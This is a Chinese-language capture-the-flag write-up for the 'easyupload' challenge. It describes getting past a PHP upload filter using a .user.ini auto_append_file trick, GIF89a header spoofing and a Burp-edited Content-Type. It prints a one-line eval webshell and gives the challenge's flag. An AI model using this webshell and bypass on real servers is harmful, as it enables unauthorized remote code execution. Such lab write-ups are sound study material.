攻防世界easyupload

一进来就是文件上传，但是试了一下直接传一句话木马文件没用，看其他的解题思路发现是上传的内容不能有php字符。了解到用到.user.ini 绕过

.

.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。意思是指定一个文件，那么该文件就会被包含在要执行的php文件中（如index.php）。例如：auto_append_file=opium.jpg

 所以首先我们得到本地新建一个.user.ini文件和包含木马的a.jpg文件，因为木马中不能有php字符，所以一句话木马可以为<?=eval($_REQUEST['cmd']);?>，然后还要在两个文件中都写上GIF89a

GIF89a图片头文件欺骗，是一种攻击，让文件伪装成图片格式。

.user.ini文件内容：

 

 

 a.jpg文件内容：

 然后上传.user.ini再用bp抓包修改content-type为image/jpg，再放包

然后页面成功回显，显示上传成功，接着就再上传a.jpg。

 

然后就在bp放包放到下面这个a.jpg的页面出现为止，接着就再放一次包。

回到页面成功回显，上传成功。接着F12查看网络，然后找到图中红线标的url。

 

接着就用蚁剑连接，输入密码cmd。

 然后在目录中找到flag文件，得知flag：cyberpeace{3cbbd321de99c11d5fe8f17ccddf3b44}